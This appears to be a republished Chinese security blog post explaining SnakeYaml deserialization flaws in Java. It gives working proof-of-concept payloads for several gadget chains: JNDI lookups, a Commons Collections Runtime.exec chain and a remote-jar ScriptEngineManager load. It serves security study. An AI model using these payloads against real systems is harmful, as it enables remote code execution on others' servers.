前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java安全之SnakeYaml反序列化

Java安全之SnakeYaml反序列化

作者头像
ph0ebus
发布2023-09-12 08:49:42
4160
发布2023-09-12 08:49:42
举报

简介

YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。在开发的这种语言时,YAML的意思其实是:”Yet Another Markup Language”(仍是一种标记语言),但为了强调这种语言以数据为中心,而不是以标记语言为重点,而用反向缩略语重命名。

YAML基本格式要求:

  1. YAML大小写敏感;
  2. 使用缩进代表层级关系;
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)

Java 常见用来处理 yaml 的库就是SnakeYaml,实现了对象与 yaml 格式的字符串之间的序列化和反序列化。SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

测试环境

java version “1.8.0_71”

pom.xml

代码语言:javascript
复制
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

示例

https://juejin.cn/post/7132724053088927758

随手写一个简单的JavaBean类

代码语言:javascript
复制
public class Person {
    public String telNumber;
    protected int age;
    private String name;

    public Person() {
    }

    public Person(String name, int age, String telNumber) {
        this.name = name;
        this.age = age;
        this.telNumber = telNumber;
    }

    public String getName() {
        System.out.println("getName() private");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName() private");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge() protected");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge() protected ");
        this.age = age;
    }

    public String getTelNumber() {
        System.out.println("getTelNumber public ");
        return telNumber;
    }

    public void setTelNumber(String telNumber) {
        System.out.println("setTelNumber public");
        this.telNumber = telNumber;
    }
}

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():将yaml转换成java对象
  • Yaml.dump():将一个对象转化为yaml;
代码语言:javascript
复制
import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
    public static void main(String[] args) {
        Person person = new Person("ph0ebus",99,"11451419198");

        Yaml yaml = new Yaml();
        // 序列化
        String dump = yaml.dump(person);
        System.out.println(dump);

        // 反序列化
        Object load = yaml.load(dump);
        System.out.println(load);
    }
}

//运行结果:
//getAge() protected
//getName() private
//!!Person {age: 99, name: ph0ebus, telNumber: '11451419198'}
//setAge() protected 
//setName() private
//Person@1975e01

可以发现当不存在某个属性,或者存在属性但不是由public修饰的时候,序列化会调用其getter方法,反序列化时会调用其setter方法。

序列化的结果前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

利用原理

到这里就会发现和fastjson似乎有异曲同工之妙了,这里会调用setter方法导致安全隐患,于是fastjson的蛮多链子也可以套用起来

利用链

JdbcRowSetImpl利用链

这里和fastjson的触发一致,都是触发setAutoCommit()方法,调用connect函数,然后触发InitialContext.lookup(dataSourceName),而dataSourceName可以通过setDataSourceName可控

代码语言:javascript
复制
import org.yaml.snakeyaml.Yaml;

public class JdbcRowSetImplTest {
    public static void main(String[] args) {
        String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}
Spring PropertyPathFactoryBean利用链

这个链子需要springframework依赖

代码语言:javascript
复制
import org.yaml.snakeyaml.Yaml;

public class PropertyPathFactoryBeanTest {
    public static void main(String[] args) {
        String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/aa\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/aa\"]}}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

这里利用setBeanFactory()方法

代码语言:javascript
复制
public void setBeanFactory(BeanFactory beanFactory) {
    this.beanFactory = beanFactory;
    if (this.targetBeanWrapper != null && this.targetBeanName != null) {
        throw new IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");
    } else {
        if (this.targetBeanWrapper == null && this.targetBeanName == null) {
            if (this.propertyPath != null) {
                throw new IllegalArgumentException("Specify 'targetObject' or 'targetBeanName' in combination with 'propertyPath'");
            }

            int dotIndex = this.beanName.indexOf(46);
            if (dotIndex == -1) {
                throw new IllegalArgumentException("Neither 'targetObject' nor 'targetBeanName' specified, and PropertyPathFactoryBean bean name '" + this.beanName + "' does not follow 'beanName.property' syntax");
            }

            this.targetBeanName = this.beanName.substring(0, dotIndex);
            this.propertyPath = this.beanName.substring(dotIndex + 1);
        } else if (this.propertyPath == null) {
            throw new IllegalArgumentException("'propertyPath' is required");
        }

        if (this.targetBeanWrapper == null && this.beanFactory.isSingleton(this.targetBeanName)) {
            Object bean = this.beanFactory.getBean(this.targetBeanName);
            this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);
            this.resultType = this.targetBeanWrapper.getPropertyType(this.propertyPath);
        }
    }
}

这里可以调用到任意类的getBean()方法,然后利用org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()触发JNDI注入

代码语言:javascript
复制
public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
    try {
        return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
    } catch (NameNotFoundException var4) {
        throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
    } catch (TypeMismatchNamingException var5) {
        throw new BeanNotOfRequiredTypeException(name, var5.getRequiredType(), var5.getActualType());
    } catch (NamingException var6) {
        throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", var6);
    }
}

这里需要调用到getBean()方法,首先要满足isSingleton(this.targetBeanName)返回值为false

代码语言:javascript
复制
public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
    return this.shareableResources.contains(name);
}

this.shareableResources是一个HashSet对象,也就是利用setter方法设置this.shareableResources包含this.targetBeanName即可

C3P0利用链

在C3P0利用链中提到了基于fastjson进行JNDI注入和反序列化利用

同理也可以套用在snakeyaml链上

JNDI注入

代码语言:javascript
复制
import org.yaml.snakeyaml.Yaml;

public class C3P0JndiTest {
    public static void main(String[] args) {
        String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: \"rmi://127.0.0.1:1099/aa\",  loginTimeout: \"0\"}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

反序列化

代码语言:javascript
复制
import org.yaml.snakeyaml.Yaml;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;


public class C3P0UnserTest {
    public static void main(String[] args) throws Exception {
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),};
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        setFieldValue(transformerChain, "iTransformers", transformers);

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        byte[] bytes = barr.toByteArray();
        String hex = bytesToHexString(bytes, bytes.length);
        String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field1 = obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for (int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}
ScriptEngineManager利用链

该漏洞基于SPI机制,关于SPI机制可以参考深入理解 Java 中 SPI 机制

SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。

因此控制这个类的静态代码块就有机会执行任意代码了,这部分代码实现可以参考https://github.com/artsploit/yaml-payload/

那么SPI和SnakeYaml如何联系起来呢,这里需要知道一个类javax.script.ScriptEngineManager,它的底层就利用了SPI机制

https://www.runoob.com/manual/jdk11api/java.scripting/javax/script/ScriptEngineManager.html

ScriptEngineManager(ClassLoader loader) :此构造函数使用服务提供程序机制加载给定ClassLoader可见的ScriptEngineFactory的实现。 如果loader是null ,则加载与平台捆绑在一起的脚本引擎工厂

可以给定一个UrlClassLoader ,并使用SPI机制 (ServiceLoader 来提供) ,来加载远程的ScriptEngineFactory的实现类,那么就可以在远程服务器下,创建META-INF/services/javax.script.ScriptEngineFactory 文件,文件内容指定接口的实现类。

代码语言:javascript
复制
import org.yaml.snakeyaml.Yaml;

public class ScriptEngineManagerTest {
    public static void main(String[] args) {
        String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

具体执行细节可以参考https://www.cnblogs.com/nice0e3/p/14514882.html#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90


参考链接: Java安全之SnakeYaml反序列化分析 | nice_0e3 SnakeYAML反序列化及可利用Gadget | Y4tacker Java安全之yaml反序列化 | jiang

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 测试环境
  • 示例
  • 利用原理
  • 利用链
    • JdbcRowSetImpl利用链
      • Spring PropertyPathFactoryBean利用链
        • C3P0利用链
          • ScriptEngineManager利用链
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档